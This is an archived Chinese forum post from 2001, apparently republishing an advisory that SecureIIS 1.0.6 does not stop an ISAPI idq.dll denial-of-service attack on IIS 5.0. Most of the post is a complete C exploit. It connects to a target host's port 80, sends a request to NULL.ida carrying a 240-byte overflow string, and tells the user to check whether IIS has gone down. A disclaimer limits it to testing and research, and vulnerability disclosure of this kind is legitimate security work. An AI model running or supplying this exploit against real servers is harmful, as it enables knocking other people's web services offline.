精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆系统漏洞◆>>SecureIIS 漏洞

主题:SecureIIS 漏洞
发信人: williamlong(蓝色月光)
整理人: williamlong(2001-07-16 15:09:44), 站内信件
SecureIIS 漏洞 (Other,缺陷) 
  
涉及程序: 
SecureIIS 
  
描述: 
SecureIIS 缺少对 IIS5.0 拒绝服务攻击的保护 
  
详细: 
SecureIIS ( http://www.eeye.com/html/Products/SecureIIS/index.html ) 是一款用来保护 IIS WEB 服务器免受攻击的软件。但是近日发现 SecureIIS 1.0.6 不能保护对 IIS5.0 实施的 ISAPI 拒绝服务攻击。

以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


// DoS for isapi idq.dll unchecked buffer.
// For Testing Pruposes
// By Ps0 DtMF dot com dot ar

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

// #define DEBUG

int main(int argc, char *argv[])
{
  char mensaje[800];
  char *bof;
  int fd;
  struct sockaddr_in sin;
  struct hostent *rhost;

  if(argc<2) {
fprintf(stderr,"Use : %s host\n",argv[0]);
exit(0);
}

bzero(mensaje,strlen(mensaje));

bof=(char *)malloc(240); // 240 segun eeye , si se le da mas NO anda

memset(bof,'A',240);

sprintf(mensaje,"GET /NULL.ida?%s=X HTTP/1.0\n\n",bof);


#ifdef DEBUG
printf("\nMenssage : \n%s\n",mensaje);
#endif

if ((rhost=gethostbyname(argv[1]))==NULL){
printf("\nCan't find remote host %s \t E:%d\n",argv[1],h_errno);
return -1;
}

sin.sin_family=AF_INET;
sin.sin_port=htons(80);

memcpy(&sin.sin_addr.s_addr, rhost->h_addr, rhost->h_length);

  fd = socket(AF_INET,SOCK_STREAM,6);

  if (connect(fd,(struct sockaddr *)&sin, sizeof(struct sockaddr))!=0){
    printf("\nCan't Connect to The host %s. May be down ? E:%s\n",argv[1],strerror(errno));
    return -1;
  }
  
  printf("Sending string........\n");
  
  if(send(fd,mensaje,strlen(mensaje),0)==-1){
    printf("\nError \n");
    return -1;
  }
  
  printf("\nString Sent... try telnet host 80 to check if IIS is down\n");
  
  close(fd);
  
  return 0;

}
   
  



----
你可以不裸奔,但我誓死捍卫你裸奔的权力! 

[关闭][返回]